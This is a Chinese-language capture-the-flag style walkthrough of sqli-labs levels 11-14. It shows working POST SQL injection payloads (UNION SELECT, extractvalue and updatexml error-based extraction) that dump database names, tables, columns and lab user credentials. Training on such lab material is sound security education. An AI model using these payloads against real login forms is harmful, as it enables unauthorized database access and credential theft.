Web安全-SQL注入【sqli靶场第11-14关】(三)

★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

以下内容验证都是在uname=后面构造进行验证。

在这里插入图片描述

1、Less11

POST - Error Based - Single quotes- String

1.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’,响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1

1.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
'+order+by+3--+# 关键结果
Unknown column '3' in 'order clause'</br># 修改为2
'+order+by+2--+# 关键结果
Your Login name:admin<br>
Your Password:admin<br>

所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

在这里插入图片描述

1.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 验证内容1
'+and+1=2+union+select+1,2--+# 输出内容
Your Login name:1<br>
Your Password:2<br># 验证内容2
'+and+1=1+union+select+1,2--+
# 验证内容2
'+and+1=1+union+select+database(),user()--+# 输出内容
Your Login name:admin<br>
Your Password:admin<br>

1.4、报错函数

1.4.1、获取数据库名和账号

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,

# 字符型
extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
#数字型
extractvalue(1,concat(0x7e,(select+user()),0x7e))=1

根据报错函数获取到数据库名,登录名

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 输出内容
XPATH syntax error: '~security~'</br># 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 输出内容
XPATH syntax error: '~root@localhost~'</br>

报错函数updatexml,字符型后面有加单引号,数字型没有,以下的函数结果和上面的内容获取的结果是一样的

# 字符型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
#数字型
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
1.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码

# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))='1# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>

从获取到的数据库表名,users应该就是存储数据库登录名的表了。

注意:在靶场实验过程中可获取:数据库=>表=>字段=>数据 ,但在实战过程中,到数据库这个步骤就行,不要去查数据。

1.4.3、获取表对应字段
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users')),1))='1# 输出内容
XPATH syntax error: '#id,username,password'</br>
1.4.4、获取表数据
# 输入内容
'and+(updatexml(1,concat(0x23,(select+group_concat(id,'~',username,'~',password)+from+security.users)),1))='1# 输出内容
XPATH syntax error: '#1~Dumb~Dumb,2~Angelina~I-kill-y'</br>

1.5、验证登录

使用账号/密码:Dumb/Dumb,登录成功

在这里插入图片描述

2、Less12

POST - Error Based - Double quotes- String-with twist

2.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’发现没有变化

在这里插入图片描述

尝试用双引号",响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1

2.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
"+order+by+3--+# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>

从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证

# 输入内容
")+order+by+3--+# 输出结果
Unknown column '3' in 'order clause'</br># 修改为2
")+order+by+2--+# 输出结果
Your Login name:admin<br>
Your Password:admin<br>

所以可以确定的是查询字段是2个,刚好又是我输入的是弱口令账户:admin,后面密码匹配条件又被我注释了,账号密码就拿到了,是可以登录成功。接下来看是否可拿到其他数据,比如数据库等。

注意后面的所有内容破解前面部分都是需要")把前面语句闭合。

2.3、联合查询

2.3.1、获取数据库名和账号

通过union语句方式查询数据库,用户名。

# 输入内容
")+and+1=2+union+select+database(),user()--+# 输出结果
Your Login name:security<br>
Your Password:root@localhost<br>
2.3.2、获取表名

上面得到的数据库,进一步获取表名

# 输入内容
")+and+1=2+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'--+# 输出结果
Your Login name:1<br>
Your Password:emails,referers,uagents,users<br>

从获取到的数据库表名,users应该就是存储数据库登录名的表了。

2.3.3、获取表对应字段
# 输入内容
")+and+1=2+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'--+# 输出结果
Your Login name:1<br>
Your Password:id,username,password<br>
2.3.4、获取表数据
# 输入内容
")+and+1=2+union+select+1,group_concat(id,'~',username,'~',password)+from+security.users--+# 输出结果
Your Login name:1<br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4<br>

账号/密码有点多,随便找一个进行验证。

2.4、验证登录

使用账号/密码:admin3/admin3,登录成功

在这里插入图片描述

3、Less13

POST - Double Injection - Single quotes- String -with twist

3.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’,响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1

3.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
'+order+by+3--+# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>

从错误结果来看是少了括号)闭合,因此调整轮子加上括号)验证

# 输入内容
')+order+by+3--+# 输出结果
Unknown column '3' in 'order clause'</br># 修改为2
')+order+by+2--+# 输出结果--没有报错内容

所以可以确定的是查询字段是2个

注意后面的所有内容破解前面部分都是需要')把前面语句闭合。

3.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 输入内容
')+and+1=1+union+select+database(),user()--+

在这里插入图片描述

3.4、报错函数

3.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 输出内容
XPATH syntax error: '~security~'</br># 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 输出内容
XPATH syntax error: '~root@localhost~'</br>
3.4.2、获取表名

使用updatexml获取库的表名,0x23是#的ASCII码,前面部分加上')用来闭合前面的语句,后面=1而不是='1,再加上--+用于注释后面的语句,获取了表名了。

# 输入内容
')and+(updatexml(1,concat(0x23,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='security')),1))=1--+
# 输出内容
XPATH syntax error: '#emails,referers,uagents,users'</br>

在这里插入图片描述

4、Less14

POST - Double Injection - Single quotes- String -with twist

4.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带双引号",响应长度有变化

在这里插入图片描述

往下拉看到有提示错误信息,可以确定可以SQL注入

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>

4.2、确定查询字段个数

从界面上看应该是2个,但还是以确定结果为准

# 输入内容
"+order+by+3--+# 输出结果
Unknown column '3' in 'order clause'</br># 修改为2
"+order+by+2--+# 输出结果--没有报错内容

所以可以确定的是查询字段是2个。

3.3、联合查询

通过union语句方式发现没办法拿到其他数据,需要尝试报错函数

# 输入内容
"+and+1=1+union+select+database(),user()--+

在这里插入图片描述

4.4、报错函数

4.4.1、获取数据库名和账号

根据报错函数获取到数据库名,登录名

# 输入内容
"and+extractvalue(1,concat(0x7e,(select+database()),0x7e))="1# 输出内容
XPATH syntax error: '~security~'</br># 输入内容
"and+extractvalue(1,concat(0x7e,(select+user()),0x7e))="1# 输出内容
XPATH syntax error: '~root@localhost~'</br>

5、资料获取

sqli-labs靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/214930.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

轻空间助力中国高校实现场馆多功能一体化

中国高校在迎接体育、文艺、学术等多元化需求的同时&#xff0c;面临着场馆设施不足、建设成本高的难题。然而&#xff0c;随着轻空间&#xff08;江苏&#xff09;膜科技有限公司的崭新解决方案的引入&#xff0c;中国高校如苏州大学等正迎来一场场馆多功能一体化的革命。 创新…

电源小白入门学习4——LDO的选择与使用技巧

电源小白入门学习4——LDO的选择与使用技巧 LDO简介LDO工作原理LDO选型LDO并联问题LDO的新发展 上期我们介绍了开关电源系统中一些常见的元器件&#xff0c;这期我们来学习LDO的选择与使用技巧 LDO简介 LDO的全称是低压差线性稳压器&#xff08;Low Drop-Out Linear Regulator…

计算机病毒判定专家系统原理与设计《文字提取人工修正》

内容源于网络。网络上流转的版本实在是不易阅读&#xff0c; 又不忍神作被糟蹋故稍作整理&#xff0c;对于内容仍然有识别不准的地方&#xff0c;网友可留言&#xff0c;我跟进修改。 雷 军 &#xff08;武汉大学计算机系&#xff0c;430072) 摘要: 本文详细地描述了…

【UML】NO.2 UML必须了解的基础知识(举例)

目录 一、UML的构成 1.1 事物 1.2 关系 1.3 图 二、事物 2.1 结构事物 2.1.1 类&#xff08;class&#xff09; 2.1.2 接口 2.1.3 协作 2.1.4 用例 2.1.5 主动类 2.1.6 构件 2.1.7 节点 2.2 行为事物 2.2.1 交互 2.2.2 状态机 2.2.3 活动 2.3 分组事物 包 …

Unittest单元测试框架

Unittest介绍、单元测试用例的组织、测试用例的执行、测试用例的跳过 Unittest介绍 为什么要学习单元测试框架 测试用例的组织与运行需要单元测试框架的参与&#xff0c;从而满足不同测试场景的需要&#xff0c;单元测试框架提供了丰富的比较方法&#xff1a;实际结果与预期结…

Viewport Meta 标记:让网页适应各种设备的魔法符号

在我们用手机或平板电脑浏览网页时&#xff0c;你是否曾发现有些网页能够很好地适应屏幕&#xff0c;而有些却需要左右滑动才能完整显示内容&#xff1f;这就涉及到一个神奇的东西——Viewport Meta 标记。 最近本人在研究自适应的各自实现方法&#xff0c;比如media媒体查询、…

6个免费设计素材库,设计师都在用,赶紧收藏!

设计师应该都知道&#xff0c;在设计过程中找素材真的很费时间&#xff0c;有的时候全网翻遍都未必能找到自己想要的&#xff0c;以至于现在很多设计师都花钱去购买素材&#xff0c;你说要是拿去参赛或者商用还好&#xff0c;就拿平常设计来说你舍得花这个钱去买吗&#xff0c;…

亚马逊云科技Amazon Bedrock,现推出更多模型选择和全新强大功能

亚马逊云科技在re:Invent 2023上宣布推出Amazon Bedrock更多模型选择和强大功能&#xff0c;帮助客户更轻松地构建和规模化针对其业务定制的生成式AI应用程序。 Amazon Bedrock是一项全面托管的服务&#xff0c;用户可轻松访问来自AI21 Labs、Anthropic、Cohere、Meta、Stabili…

网页设计的灵感从哪来?试试这15个灵感网站

设计灵感网站是许多设计师必备的工具&#xff0c;因为它们提供了一个创造性的源泉&#xff0c;可以帮助设计师找到灵感和灵感&#xff0c;从而开发出惊人的设计。 推荐15个设计灵感网站&#xff0c;涵盖了平面设计、网页设计、UI设计等不同领域的设计。 即时设计资源广场 即…

Linux系统vim,gcc,g++工具使用及环境配置,动静态库的概念及使用

Linux系统vim&#xff0c;gcc&#xff0c;g工具使用及环境配置&#xff0c;动静态库的概念及使用 1. Linux编辑器-vim的使用1.1 vim的基本概念1.2vim的基本操作1.3vim正常模式命令集1.4vim末端模式命令集1.5简单的vim配置 2.Linux编译器-gcc/g的使用2.1 准备阶段2.2gcc的使用2.…

了解 git rebase

了解 git rebase 大多数人习惯使用 git merge 将更改从功能分支合并到主分支&#xff0c;但还有其他方法。我们是否曾经遇到过 git rebase 这个术语并想知道它是什么&#xff1f;或者我们可能听说过 rebase 和 merge &#xff0c;但不确定何时使用哪个&#xff1f;不用担心&am…

企业架构LB-服务器的负载均衡之Haproxy实现

企业架构LB-服务器的负载均衡之HAProxy实现 学习目标和内容 1、能够通过HAProxy实现负载均衡 ###1、介绍 Introduction HAProxy, which stands for High Availability Proxy, is a popular opensource software TCP/HTTP LoadBalancer and proxying solution which can be ru…

力扣111. 二叉树的最小深度

给定一个二叉树&#xff0c;找出其最小深度。 最小深度是从根节点到最近叶子节点的最短路径上的节点数量。 说明&#xff1a;叶子节点是指没有子节点的节点。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;2 示例 2&#xff1a; 输入…

最大子段和问题

题目&#xff1a; 分治法求解思路&#xff1a; 代码&#xff1a; #include<iostream> using namespace std;int maxSum(int arr[], int left, int right) {int sum 0;if (left right){if (arr[left] > 0){return arr[left];}else{return 0;}}else{int center (l…

AWS攻略——子网

文章目录 分配子网给Public子网分配互联网网关创建互联网网关附加到VPC 给Public子网创建路由表关联子网 打通Public子网和互联网网关 创建Public子网下的EC2进行测试配置Private子网路由给Private子网创建路由表附加在Private子网 创建Private子网下的EC2进行测试创建实例在跳…

Java / Scala - Trie 树简介与应用实现

目录 一.引言 二.Tire 树简介 1.树 Tree 2.二叉搜索树 Binary Search Tree 3.字典树 Trie Tree 3.1 基本概念 3.2 额外信息 3.3 结点实现 3.4 查找与存储 三.Trie 树应用 1.应用场景 2.Java / Scala 实现 2.1 Pom 依赖 2.2 关键词匹配 四.总结 一.引言 Trie 树…

【ClickHouse】ClickHouse与MySQL之间实时同步数据(MySQL引擎),将MySQL数据实时同步到clickhouse

参考1:MySQL(通过该配置实现了实时同步) 参考2:experimental MaterializedMySQL 参考3:[experimental] MaterializedMySQL(包含设置 allow_experimental_database_materialized_mysql) MySQL引擎用于将远程的MySQL服务器中的表映射到ClickHouse中&#xff0c;并允许您对表进行I…

item_get_app_pro-根据ID取商品详情原数据接入参数和返回值说明

参数说明 pinduoduo.item_get_app_pro 公共参数 名称类型必须描述keyString是调用key&#xff08;申请调用免费测试&#xff09;secretString是调用密钥api_nameString是API接口名称&#xff08;包括在请求地址中&#xff09;[item_search,item_get,item_search_shop等]cache…

JavaEE之多线程编程:1. 基础篇

文章目录 一、关于操作系统一、认识进程 process二、认识线程三、进程和线程的区别&#xff08;重点&#xff01;&#xff09;四、Java的线程和操作系统线程的关系五、第一个多线程编程 一、关于操作系统 【操作系统】 驱动程序&#xff1a; 如&#xff1a;我们知道JDBC的驱动程…

20 套监控平台统一成 1 套 Flashcat,国泰君安监控选型提效之路

author:宋庆羽-国泰君安期货 运维工作最重要的就是维护系统的稳定性&#xff0c;其中监控是保证系统稳定性很重要的一环。通过监控可以了解系统的运行状态&#xff0c;及时发现问题和系统隐患&#xff0c;有助于一线人员快速解决问题&#xff0c;提高业务系统的可用时长。 作为…